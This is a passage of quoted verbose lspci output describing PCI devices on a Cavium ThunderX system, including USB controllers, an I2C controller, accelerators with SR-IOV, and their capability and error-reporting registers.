> DevCap: MaxPayload 128 bytes, PhantFunc 0, Latency L0s <64ns, L1 <1us
> ExtTag- AttnBtn- AttnInd- PwrInd- RBE+ FLReset-
> DevCtl: Report errors: Correctable+ Non-Fatal+ Fatal+ Unsupported+
> RlxdOrd- ExtTag- PhantFunc- AuxPwr- NoSnoop-
> MaxPayload 128 bytes, MaxReadReq 128 bytes
> DevSta: CorrErr- UncorrErr- FatalErr- UnsuppReq- AuxPwr- TransPend-
> LnkCap: Port #0, Speed unknown, Width x0, ASPM not supported, Exit Latency L0s <64ns, L1 <1us
> ClockPM- Surprise- LLActRep- BwNot- ASPMOptComp-
> LnkCtl: ASPM Disabled; RCB 64 bytes Disabled- CommClk-
> ExtSynch- ClockPM- AutWidDis- BWInt- AutBWInt-
> LnkSta: Speed unknown, Width x0, TrErr- Train- SlotClk- DLActive- BWMgmt- ABWMgmt-
> DevCap2: Completion Timeout: Not Supported, TimeoutDis-, LTR-, OBFF Not Supported
> DevCtl2: Completion Timeout: 50us to 50ms, TimeoutDis-, LTR-, OBFF Disabled
> LnkSta2: Current De-emphasis Level: -6dB, EqualizationComplete-, EqualizationPhase1-
> EqualizationPhase2-, EqualizationPhase3-, LinkEqualizationRequest-
> Capabilities: [80] MSI-X: Enable- Count=1 Masked-
> Vector table: BAR=4 offset=00000000
> PBA: BAR=4 offset=000f0000
> Capabilities: [98] #14 [0002]
> Capabilities: [100 v1] Vendor Specific Information: ID=00a0 Rev=2 Len=040 <?>
> Capabilities: [140 v1] Advanced Error Reporting
> UESta: DLP- SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP- ECRC- UnsupReq- ACSViol-
> UEMsk: DLP- SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP- ECRC- UnsupReq- ACSViol-
> UESvrt: DLP+ SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP+ ECRC- UnsupReq- ACSViol-
> CESta: RxErr- BadTLP- BadDLLP- Rollover- Timeout- NonFatalErr-
> CEMsk: RxErr- BadTLP- BadDLLP- Rollover- Timeout- NonFatalErr+
> AERCap: First Error Pointer: 00, GenCap- CGenEn- ChkCap- ChkEn-
> Capabilities: [170 v1] Alternative Routing-ID Interpretation (ARI)
> ARICap: MFVC- ACS-, Next Function: 203
> ARICtl: MFVC- ACS-, Function Group: 0
>
> 0000:01:19.3 Serial bus controller [0c80]: Cavium, Inc. THUNDERX TWSI / I2C Controller
> Subsystem: Cavium, Inc. Device b900
> Control: I/O- Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B- DisINTx-
> Status: Cap+ 66MHz- UDF- FastB2B- ParErr- DEVSEL=fast >TAbort- <TAbort- <MAbort- >SERR- <PERR- INTx-
> Latency: 0
> Region 0: [virtual] Memory at 87e10b000000 (32-bit, non-prefetchable) [size=64K]
> Region 4: [virtual] Memory at 87e10bf00000 (32-bit, non-prefetchable) [size=1M]
> Capabilities: [40] Express (v2) Endpoint, MSI 00
> DevCap: MaxPayload 128 bytes, PhantFunc 0, Latency L0s <64ns, L1 <1us
> ExtTag- AttnBtn- AttnInd- PwrInd- RBE+ FLReset-
> DevCtl: Report errors: Correctable+ Non-Fatal+ Fatal+ Unsupported+
> RlxdOrd- ExtTag- PhantFunc- AuxPwr- NoSnoop-
> MaxPayload 128 bytes, MaxReadReq 128 bytes
> DevSta: CorrErr- UncorrErr- FatalErr- UnsuppReq- AuxPwr- TransPend-
> LnkCap: Port #0, Speed unknown, Width x0, ASPM not supported, Exit Latency L0s <64ns, L1 <1us
> ClockPM- Surprise- LLActRep- BwNot- ASPMOptComp-
> LnkCtl: ASPM Disabled; RCB 64 bytes Disabled- CommClk-
> ExtSynch- ClockPM- AutWidDis- BWInt- AutBWInt-
> LnkSta: Speed unknown, Width x0, TrErr- Train- SlotClk- DLActive- BWMgmt- ABWMgmt-
> DevCap2: Completion Timeout: Not Supported, TimeoutDis-, LTR-, OBFF Not Supported
> DevCtl2: Completion Timeout: 50us to 50ms, TimeoutDis-, LTR-, OBFF Disabled
> LnkSta2: Current De-emphasis Level: -6dB, EqualizationComplete-, EqualizationPhase1-
> EqualizationPhase2-, EqualizationPhase3-, LinkEqualizationRequest-
> Capabilities: [80] MSI-X: Enable- Count=1 Masked-
> Vector table: BAR=4 offset=00000000
> PBA: BAR=4 offset=000f0000
> Capabilities: [98] #14 [0002]
> Capabilities: [100 v1] Vendor Specific Information: ID=00a0 Rev=2 Len=040 <?>
> Capabilities: [140 v1] Advanced Error Reporting
> UESta: DLP- SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP- ECRC- UnsupReq- ACSViol-
> UEMsk: DLP- SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP- ECRC- UnsupReq- ACSViol-
> UESvrt: DLP+ SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP+ ECRC- UnsupReq- ACSViol-
> CESta: RxErr- BadTLP- BadDLLP- Rollover- Timeout- NonFatalErr-
> CEMsk: RxErr- BadTLP- BadDLLP- Rollover- Timeout- NonFatalErr+
> AERCap: First Error Pointer: 00, GenCap- CGenEn- ChkCap- ChkEn-
> Capabilities: [170 v1] Alternative Routing-ID Interpretation (ARI)
> ARICap: MFVC- ACS-, Next Function: 0
> ARICtl: MFVC- ACS-, Function Group: 0
>
> 0000:02:00.0 System peripheral: Cavium, Inc. Device a075
> Subsystem: Cavium, Inc. Device b900
> Control: I/O- Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B- DisINTx-
> Status: Cap+ 66MHz- UDF- FastB2B- ParErr- DEVSEL=fast >TAbort- <TAbort- <MAbort- >SERR- <PERR- INTx-
> Latency: 0
> Region 0: [virtual] Memory at 87e0f9000000 (32-bit, non-prefetchable) [size=256K]
> Capabilities: [40] Express (v2) Endpoint, MSI 00
> DevCap: MaxPayload 128 bytes, PhantFunc 0, Latency L0s <64ns, L1 <1us
> ExtTag- AttnBtn- AttnInd- PwrInd- RBE+ FLReset-
> DevCtl: Report errors: Correctable+ Non-Fatal+ Fatal+ Unsupported+
> RlxdOrd- ExtTag- PhantFunc- AuxPwr- NoSnoop-
> MaxPayload 128 bytes, MaxReadReq 128 bytes
> DevSta: CorrErr- UncorrErr- FatalErr- UnsuppReq- AuxPwr- TransPend-
> LnkCap: Port #0, Speed unknown, Width x0, ASPM not supported, Exit Latency L0s <64ns, L1 <1us
> ClockPM- Surprise- LLActRep- BwNot- ASPMOptComp-
> LnkCtl: ASPM Disabled; RCB 64 bytes Disabled- CommClk-
> ExtSynch- ClockPM- AutWidDis- BWInt- AutBWInt-
> LnkSta: Speed unknown, Width x0, TrErr- Train- SlotClk- DLActive- BWMgmt- ABWMgmt-
> DevCap2: Completion Timeout: Not Supported, TimeoutDis-, LTR-, OBFF Not Supported
> DevCtl2: Completion Timeout: 50us to 50ms, TimeoutDis-, LTR-, OBFF Disabled
> LnkCtl2: Target Link Speed: 2.5GT/s, EnterCompliance- SpeedDis-
> Transmit Margin: Normal Operating Range, EnterModifiedCompliance- ComplianceSOS-
> Compliance De-emphasis: -6dB
> LnkSta2: Current De-emphasis Level: -6dB, EqualizationComplete-, EqualizationPhase1-
> EqualizationPhase2-, EqualizationPhase3-, LinkEqualizationRequest-
> Capabilities: [98] #14 [0001]
> Capabilities: [100 v1] Vendor Specific Information: ID=00a0 Rev=2 Len=040 <?>
> Capabilities: [140 v1] Advanced Error Reporting
> UESta: DLP- SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP- ECRC- UnsupReq- ACSViol-
> UEMsk: DLP- SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP- ECRC- UnsupReq- ACSViol-
> UESvrt: DLP+ SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP+ ECRC- UnsupReq- ACSViol-
> CESta: RxErr- BadTLP- BadDLLP- Rollover- Timeout- NonFatalErr-
> CEMsk: RxErr- BadTLP- BadDLLP- Rollover- Timeout- NonFatalErr+
> AERCap: First Error Pointer: 00, GenCap- CGenEn- ChkCap- ChkEn-
> Capabilities: [170 v1] Alternative Routing-ID Interpretation (ARI)
> ARICap: MFVC- ACS-, Next Function: 0
> ARICtl: MFVC- ACS-, Function Group: 0
>
> 0000:03:00.0 System peripheral: Cavium, Inc. Device a075
> Subsystem: Cavium, Inc. Device b900
> Control: I/O- Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B- DisINTx-
> Status: Cap+ 66MHz- UDF- FastB2B- ParErr- DEVSEL=fast >TAbort- <TAbort- <MAbort- >SERR- <PERR- INTx-
> Latency: 0
> Region 0: [virtual] Memory at 87e0fa000000 (32-bit, non-prefetchable) [size=256K]
> Capabilities: [40] Express (v2) Endpoint, MSI 00
> DevCap: MaxPayload 128 bytes, PhantFunc 0, Latency L0s <64ns, L1 <1us
> ExtTag- AttnBtn- AttnInd- PwrInd- RBE+ FLReset-
> DevCtl: Report errors: Correctable+ Non-Fatal+ Fatal+ Unsupported+
> RlxdOrd- ExtTag- PhantFunc- AuxPwr- NoSnoop-
> MaxPayload 128 bytes, MaxReadReq 128 bytes
> DevSta: CorrErr- UncorrErr- FatalErr- UnsuppReq- AuxPwr- TransPend-
> LnkCap: Port #0, Speed unknown, Width x0, ASPM not supported, Exit Latency L0s <64ns, L1 <1us
> ClockPM- Surprise- LLActRep- BwNot- ASPMOptComp-
> LnkCtl: ASPM Disabled; RCB 64 bytes Disabled- CommClk-
> ExtSynch- ClockPM- AutWidDis- BWInt- AutBWInt-
> LnkSta: Speed unknown, Width x0, TrErr- Train- SlotClk- DLActive- BWMgmt- ABWMgmt-
> DevCap2: Completion Timeout: Not Supported, TimeoutDis-, LTR-, OBFF Not Supported
> DevCtl2: Completion Timeout: 50us to 50ms, TimeoutDis-, LTR-, OBFF Disabled
> LnkCtl2: Target Link Speed: 2.5GT/s, EnterCompliance- SpeedDis-
> Transmit Margin: Normal Operating Range, EnterModifiedCompliance- ComplianceSOS-
> Compliance De-emphasis: -6dB
> LnkSta2: Current De-emphasis Level: -6dB, EqualizationComplete-, EqualizationPhase1-
> EqualizationPhase2-, EqualizationPhase3-, LinkEqualizationRequest-
> Capabilities: [98] #14 [0001]
> Capabilities: [100 v1] Vendor Specific Information: ID=00a0 Rev=2 Len=040 <?>
> Capabilities: [140 v1] Advanced Error Reporting
> UESta: DLP- SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP- ECRC- UnsupReq- ACSViol-
> UEMsk: DLP- SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP- ECRC- UnsupReq- ACSViol-
> UESvrt: DLP+ SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP+ ECRC- UnsupReq- ACSViol-
> CESta: RxErr- BadTLP- BadDLLP- Rollover- Timeout- NonFatalErr-
> CEMsk: RxErr- BadTLP- BadDLLP- Rollover- Timeout- NonFatalErr+
> AERCap: First Error Pointer: 00, GenCap- CGenEn- ChkCap- ChkEn-
> Capabilities: [170 v1] Alternative Routing-ID Interpretation (ARI)
> ARICap: MFVC- ACS-, Next Function: 0
> ARICtl: MFVC- ACS-, Function Group: 0
>
> 0000:04:00.0 System peripheral: Cavium, Inc. Device a075
> Subsystem: Cavium, Inc. Device b900
> Control: I/O- Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B- DisINTx-
> Status: Cap+ 66MHz- UDF- FastB2B- ParErr- DEVSEL=fast >TAbort- <TAbort- <MAbort- >SERR- <PERR- INTx-
> Latency: 0
> Region 0: [virtual] Memory at 87e0fb000000 (32-bit, non-prefetchable) [size=256K]
> Capabilities: [40] Express (v2) Endpoint, MSI 00
> DevCap: MaxPayload 128 bytes, PhantFunc 0, Latency L0s <64ns, L1 <1us
> ExtTag- AttnBtn- AttnInd- PwrInd- RBE+ FLReset-
> DevCtl: Report errors: Correctable+ Non-Fatal+ Fatal+ Unsupported+
> RlxdOrd- ExtTag- PhantFunc- AuxPwr- NoSnoop-
> MaxPayload 128 bytes, MaxReadReq 128 bytes
> DevSta: CorrErr- UncorrErr- FatalErr- UnsuppReq- AuxPwr- TransPend-
> LnkCap: Port #0, Speed unknown, Width x0, ASPM not supported, Exit Latency L0s <64ns, L1 <1us
> ClockPM- Surprise- LLActRep- BwNot- ASPMOptComp-
> LnkCtl: ASPM Disabled; RCB 64 bytes Disabled- CommClk-
> ExtSynch- ClockPM- AutWidDis- BWInt- AutBWInt-
> LnkSta: Speed unknown, Width x0, TrErr- Train- SlotClk- DLActive- BWMgmt- ABWMgmt-
> DevCap2: Completion Timeout: Not Supported, TimeoutDis-, LTR-, OBFF Not Supported
> DevCtl2: Completion Timeout: 50us to 50ms, TimeoutDis-, LTR-, OBFF Disabled
> LnkCtl2: Target Link Speed: 2.5GT/s, EnterCompliance- SpeedDis-
> Transmit Margin: Normal Operating Range, EnterModifiedCompliance- ComplianceSOS-
> Compliance De-emphasis: -6dB
> LnkSta2: Current De-emphasis Level: -6dB, EqualizationComplete-, EqualizationPhase1-
> EqualizationPhase2-, EqualizationPhase3-, LinkEqualizationRequest-
> Capabilities: [98] #14 [0001]
> Capabilities: [100 v1] Vendor Specific Information: ID=00a0 Rev=2 Len=040 <?>
> Capabilities: [140 v1] Advanced Error Reporting
> UESta: DLP- SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP- ECRC- UnsupReq- ACSViol-
> UEMsk: DLP- SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP- ECRC- UnsupReq- ACSViol-
> UESvrt: DLP+ SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP+ ECRC- UnsupReq- ACSViol-
> CESta: RxErr- BadTLP- BadDLLP- Rollover- Timeout- NonFatalErr-
> CEMsk: RxErr- BadTLP- BadDLLP- Rollover- Timeout- NonFatalErr+
> AERCap: First Error Pointer: 00, GenCap- CGenEn- ChkCap- ChkEn-
> Capabilities: [170 v1] Alternative Routing-ID Interpretation (ARI)
> ARICap: MFVC- ACS-, Next Function: 0
> ARICtl: MFVC- ACS-, Function Group: 0
>
> 0000:05:00.0 Processing accelerators: Cavium, Inc. Device a098 (rev 54)
> Subsystem: Cavium, Inc. Device b900
> Control: I/O- Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B- DisINTx-
> Status: Cap+ 66MHz- UDF- FastB2B- ParErr- DEVSEL=fast >TAbort- <TAbort- <MAbort- >SERR- <PERR- INTx-
> Latency: 0
> Region 0: [virtual] Memory at 87e00f000000 (32-bit, non-prefetchable) [size=1M]
> Capabilities: [40] Express (v2) Endpoint, MSI 00
> DevCap: MaxPayload 128 bytes, PhantFunc 0, Latency L0s <64ns, L1 <1us
> ExtTag- AttnBtn- AttnInd- PwrInd- RBE+ FLReset+
> DevCtl: Report errors: Correctable+ Non-Fatal+ Fatal+ Unsupported+
> RlxdOrd- ExtTag- PhantFunc- AuxPwr- NoSnoop- FLReset-
> MaxPayload 128 bytes, MaxReadReq 128 bytes
> DevSta: CorrErr- UncorrErr- FatalErr- UnsuppReq- AuxPwr- TransPend-
> LnkCap: Port #0, Speed unknown, Width x0, ASPM not supported, Exit Latency L0s <64ns, L1 <1us
> ClockPM- Surprise- LLActRep- BwNot- ASPMOptComp-
> LnkCtl: ASPM Disabled; RCB 64 bytes Disabled- CommClk-
> ExtSynch- ClockPM- AutWidDis- BWInt- AutBWInt-
> LnkSta: Speed unknown, Width x0, TrErr- Train- SlotClk- DLActive- BWMgmt- ABWMgmt-
> DevCap2: Completion Timeout: Not Supported, TimeoutDis-, LTR-, OBFF Not Supported
> DevCtl2: Completion Timeout: 50us to 50ms, TimeoutDis-, LTR-, OBFF Disabled
> LnkCtl2: Target Link Speed: 2.5GT/s, EnterCompliance- SpeedDis-
> Transmit Margin: Normal Operating Range, EnterModifiedCompliance- ComplianceSOS-
> Compliance De-emphasis: -6dB
> LnkSta2: Current De-emphasis Level: -6dB, EqualizationComplete-, EqualizationPhase1-
> EqualizationPhase2-, EqualizationPhase3-, LinkEqualizationRequest-
> Capabilities: [98] #14 [0002]
> Capabilities: [100 v1] Vendor Specific Information: ID=00a0 Rev=2 Len=040 <?>
> Capabilities: [140 v1] Advanced Error Reporting
> UESta: DLP- SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP- ECRC- UnsupReq- ACSViol-
> UEMsk: DLP- SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP- ECRC- UnsupReq- ACSViol-
> UESvrt: DLP+ SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP+ ECRC- UnsupReq- ACSViol-
> CESta: RxErr- BadTLP- BadDLLP- Rollover- Timeout- NonFatalErr-
> CEMsk: RxErr- BadTLP- BadDLLP- Rollover- Timeout- NonFatalErr+
> AERCap: First Error Pointer: 00, GenCap- CGenEn- ChkCap- ChkEn-
> Capabilities: [170 v1] Alternative Routing-ID Interpretation (ARI)
> ARICap: MFVC- ACS-, Next Function: 0
> ARICtl: MFVC- ACS-, Function Group: 0
> Capabilities: [180 v1] Single Root I/O Virtualization (SR-IOV)
> IOVCap: Migration-, Interrupt Message Number: 000
> IOVCtl: Enable- Migration- Interrupt- MSE+ ARIHierarchy+
> IOVSta: Migration-
> Initial VFs: 1, Total VFs: 1, Number of VFs: 1, Function Dependency Link: 00
> VF offset: 1, stride: 1, Device ID: a099
> Supported Page Size: 00000553, System Page Size: 00000100
> VF Migration: offset: 00000000, BIR: 0
>
> 0000:06:00.0 System peripheral: Cavium, Inc. Device a080
> Subsystem: Cavium, Inc. Device b900
> Control: I/O- Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B- DisINTx-
> Status: Cap+ 66MHz- UDF- FastB2B- ParErr- DEVSEL=fast >TAbort- <TAbort- <MAbort- >SERR- <PERR- INTx-
> Latency: 0
> Region 0: [virtual] Memory at 86e000000000 (32-bit, non-prefetchable) [size=4G]
> Region 4: [virtual] Memory at 86e100000000 (32-bit, non-prefetchable) [size=1M]
> Capabilities: [40] Express (v2) Endpoint, MSI 00
> DevCap: MaxPayload 128 bytes, PhantFunc 0, Latency L0s <64ns, L1 <1us
> ExtTag- AttnBtn- AttnInd- PwrInd- RBE+ FLReset-
> DevCtl: Report errors: Correctable+ Non-Fatal+ Fatal+ Unsupported+
> RlxdOrd- ExtTag- PhantFunc- AuxPwr- NoSnoop-
> MaxPayload 128 bytes, MaxReadReq 128 bytes
> DevSta: CorrErr- UncorrErr- FatalErr- UnsuppReq- AuxPwr- TransPend-
> LnkCap: Port #0, Speed unknown, Width x0, ASPM not supported, Exit Latency L0s <64ns, L1 <1us
> ClockPM- Surprise- LLActRep- BwNot- ASPMOptComp-
> LnkCtl: ASPM Disabled; RCB 64 bytes Disabled- CommClk-
> ExtSynch- ClockPM- AutWidDis- BWInt- AutBWInt-
> LnkSta: Speed unknown, Width x0, TrErr- Train- SlotClk- DLActive- BWMgmt- ABWMgmt-
> DevCap2: Completion Timeout: Not Supported, TimeoutDis-, LTR-, OBFF Not Supported
> DevCtl2: Completion Timeout: 50us to 50ms, TimeoutDis-, LTR-, OBFF Disabled
> LnkCtl2: Target Link Speed: 2.5GT/s, EnterCompliance- SpeedDis-
> Transmit Margin: Normal Operating Range, EnterModifiedCompliance- ComplianceSOS-
> Compliance De-emphasis: -6dB
> LnkSta2: Current De-emphasis Level: -6dB, EqualizationComplete-, EqualizationPhase1-
> EqualizationPhase2-, EqualizationPhase3-, LinkEqualizationRequest-
> Capabilities: [80] MSI-X: Enable- Count=119 Masked-
> Vector table: BAR=4 offset=00000000
> PBA: BAR=4 offset=000f0000
> Capabilities: [98] #14 [0004]
> Capabilities: [100 v1] Vendor Specific Information: ID=00a0 Rev=2 Len=040 <?>
> Capabilities: [140 v1] Advanced Error Reporting
> UESta: DLP- SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP- ECRC- UnsupReq- ACSViol-
> UEMsk: DLP- SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP- ECRC- UnsupReq- ACSViol-
> UESvrt: DLP+ SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP+ ECRC- UnsupReq- ACSViol-
> CESta: RxErr- BadTLP- BadDLLP- Rollover- Timeout- NonFatalErr-
> CEMsk: RxErr- BadTLP- BadDLLP- Rollover- Timeout- NonFatalErr+
> AERCap: First Error Pointer: 00, GenCap- CGenEn- ChkCap- ChkEn-
> Capabilities: [170 v1] Alternative Routing-ID Interpretation (ARI)
> ARICap: MFVC- ACS-, Next Function: 0
> ARICtl: MFVC- ACS-, Function Group: 0
> Capabilities: [180 v1] Single Root I/O Virtualization (SR-IOV)
> IOVCap: Migration-, Interrupt Message Number: 000
> IOVCtl: Enable+ Migration- Interrupt- MSE+ ARIHierarchy+
> IOVSta: Migration-
> Initial VFs: 32, Total VFs: 32, Number of VFs: 32, Function Dependency Link: 00
> VF offset: 1, stride: 1, Device ID: a081
> Supported Page Size: 00000553, System Page Size: 00000100
> VF Migration: offset: 00000000, BIR: 0
>
> 0001:00:0c.0 USB controller: Cavium, Inc. THUNDERX xHCI USB Controller (prog-if 30 [XHCI])
> Subsystem: Cavium, Inc. Device b900
> Control: I/O- Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B- DisINTx-
> Status: Cap+ 66MHz- UDF- FastB2B- ParErr- DEVSEL=fast >TAbort- <TAbort- <MAbort- >SERR- <PERR- INTx-
> Latency: 0
> Region 0: [virtual] Memory at 868000000000 (32-bit, non-prefetchable) [size=2M]
> Region 4: [virtual] Memory at 868000200000 (32-bit, non-prefetchable) [size=1M]
> Capabilities: [40] Express (v2) Root Complex Integrated Endpoint, MSI 00
> DevCap: MaxPayload 128 bytes, PhantFunc 0
> ExtTag- RBE+
> DevCtl: Report errors: Correctable+ Non-Fatal+ Fatal+ Unsupported+
> RlxdOrd- ExtTag- PhantFunc- AuxPwr- NoSnoop-
> MaxPayload 128 bytes, MaxReadReq 128 bytes
> DevSta: CorrErr- UncorrErr- FatalErr- UnsuppReq- AuxPwr- TransPend-
> DevCap2: Completion Timeout: Not Supported, TimeoutDis-, LTR-, OBFF Not Supported
> DevCtl2: Completion Timeout: 50us to 50ms, TimeoutDis-, LTR-, OBFF Disabled
> Capabilities: [80] MSI-X: Enable+ Count=5 Masked-
> Vector table: BAR=4 offset=00000000
> PBA: BAR=4 offset=000f0000
> Capabilities: [98] #14 [0002]
> Capabilities: [100 v1] Vendor Specific Information: ID=00a0 Rev=2 Len=040 <?>
> Capabilities: [140 v1] Advanced Error Reporting
> UESta: DLP- SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP- ECRC- UnsupReq- ACSViol-
> UEMsk: DLP- SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP- ECRC- UnsupReq- ACSViol-
> UESvrt: DLP+ SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP+ ECRC- UnsupReq- ACSViol-
> CESta: RxErr- BadTLP- BadDLLP- Rollover- Timeout- NonFatalErr-
> CEMsk: RxErr- BadTLP- BadDLLP- Rollover- Timeout- NonFatalErr+
> AERCap: First Error Pointer: 00, GenCap- CGenEn- ChkCap- ChkEn-
> Kernel driver in use: xhci_hcd
>
> 0001:00:0d.0 USB controller: Cavium, Inc. THUNDERX xHCI USB Controller (prog-if 30 [XHCI])
> Subsystem: Cavium, Inc. Device b900
> Control: I/O- Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B- DisINTx-
> Status: Cap+ 66MHz- UDF- FastB2B- ParErr- DEVSEL=fast >TAbort- <TAbort- <MAbort- >SERR- <PERR- INTx-
> Latency: 0
> Region 0: [virtual] Memory at 869000000000 (32-bit, non-prefetchable) [size=2M]
> Region 4: [virtual] Memory at 869000200000 (32-bit, non-prefetchable) [size=1M]
> Capabilities: [40] Express (v2) Root Complex Integrated Endpoint, MSI 00
> DevCap: MaxPayload 128 bytes, PhantFunc 0
> ExtTag- RBE+
> DevCtl: Report errors: Correctable+ Non-Fatal+ Fatal+ Unsupported+
> RlxdOrd- ExtTag- PhantFunc- AuxPwr- NoSnoop-
> MaxPayload 128 bytes, MaxReadReq 128 bytes
> DevSta: CorrErr- UncorrErr- FatalErr- UnsuppReq- AuxPwr- TransPend-
> DevCap2: Completion Timeout: Not Supported, TimeoutDis-, LTR-, OBFF Not Supported
> DevCtl2: Completion Timeout: 50us to 50ms, TimeoutDis-, LTR-, OBFF Disabled
> Capabilities: [80] MSI-X: Enable+ Count=5 Masked-
> Vector table: BAR=4 offset=00000000
> PBA: BAR=4 offset=000f0000
> Capabilities: [98] #14 [0002]
> Capabilities: [100 v1] Vendor Specific Information: ID=00a0 Rev=2 Len=040 <?>
> Capabilities: [140 v1] Advanced Error Reporting
> UESta: DLP- SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP- ECRC- UnsupReq- ACSViol-
> UEMsk: DLP- SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP- ECRC- UnsupReq- ACSViol-
> UESvrt: DLP+ SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP+ ECRC- UnsupReq- ACSViol-
> CESta: RxErr- BadTLP- BadDLLP- Rollover- Timeout- NonFatalErr-
> CEMsk: RxErr- BadTLP- BadDLLP- Rollover- Timeout- NonFatalErr+
> AERCap: First Error Pointer: 00, GenCap- CGenEn- ChkCap- ChkEn-
> Kernel driver in use: xhci_hcd
>
> 0001:00:10.0 System peripheral: Cavium, Inc. Device a06c
> Subsystem: Cavium, Inc. Device b900
> Control: I/O- Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B- DisINTx-
> Status: Cap+ 66MHz- UDF- FastB2B- ParErr- DEVSEL=fast >TAbort- <TAbort- <MAbort- >SERR- <PERR- INTx-
> Latency: 0
> Region 0: [virtual] Memory at 8e0000000000 (32-bit, non-prefetchable) [size=1G]
> Region 4: [virtual] Memory at 8e0f00000000 (32-bit, non-prefetchable) [size=1M]
> Capabilities: [40] Express (v2) Root Complex Integrated Endpoint, MSI 00
> DevCap: MaxPayload 128 bytes, PhantFunc 0
> ExtTag- RBE+
> DevCtl: Report errors: Correctable+ Non-Fatal+ Fatal+ Unsupported+
> RlxdOrd- ExtTag- PhantFunc- AuxPwr- NoSnoop-
> MaxPayload 128 bytes, MaxReadReq 128 bytes
> DevSta: CorrErr- UncorrErr- FatalErr- UnsuppReq- AuxPwr- TransPend-
> DevCap2: Completion Timeout: Not Supported, TimeoutDis-, LTR-, OBFF Not Supported
> DevCtl2: Completion Timeout: 50us to 50ms, TimeoutDis-, LTR-, OBFF Disabled
> Capabilities: [80] MSI-X: Enable- Count=10 Masked-
> Vector table: BAR=4 offset=00000000
> PBA: BAR=4 offset=000f0000
> Capabilities: [98] #14 [0002]
> Capabilities: [100 v1] Vendor Specific Information: ID=00a0 Rev=2 Len=040 <?>
> Capabilities: [140 v1] Advanced Error Reporting
> UESta: DLP- SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP- ECRC- UnsupReq- ACSViol-
> UEMsk: DLP- SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP- ECRC- UnsupReq- ACSViol-
> UESvrt: DLP+ SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP+ ECRC- UnsupReq- ACSViol-
> CESta: RxErr- BadTLP- BadDLLP- Rollover- Timeout- NonFatalErr-
> CEMsk: RxErr- BadTLP- BadDLLP- Rollover- Timeout- NonFatalErr+
> AERCap: First Error Pointer: 00, GenCap- CGenEn- ChkCap- ChkEn-
>
> 0002:00:00.0 PCI bridge: Cavium, Inc. THUNDERX PCC Bridge (prog-if 01 [Subtractive decode])
> Control: I/O- Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B- DisINTx-
> Status: Cap+ 66MHz- UDF- FastB2B- ParErr- DEVSEL=fast >TAbort- <TAbort- <MAbort- >SERR- <PERR- INTx-
> Latency: 0
> Bus: primary=00, secondary=fa, subordinate=fa, sec-latency=0
> I/O behind bridge: 00000000-00000fff
> Memory behind bridge: 00000000-000fffff
> Prefetchable memory behind bridge: 00000000-000fffff
> Secondary status: 66MHz- FastB2B- ParErr- DEVSEL=fast >TAbort- <TAbort- <MAbort- <SERR- <PERR-
> BridgeCtl: Parity- SERR- NoISA- VGA- MAbort- >Reset- FastB2B-
> PriDiscTmr- SecDiscTmr- DiscTmrStat- DiscTmrSERREn-
> Capabilities: [70] Express (v2) Root Port (Slot-), MSI 00
> DevCap: MaxPayload 128 bytes, PhantFunc 0
> ExtTag- RBE+
> DevCtl: Report errors: Correctable- Non-Fatal- Fatal- Unsupported-
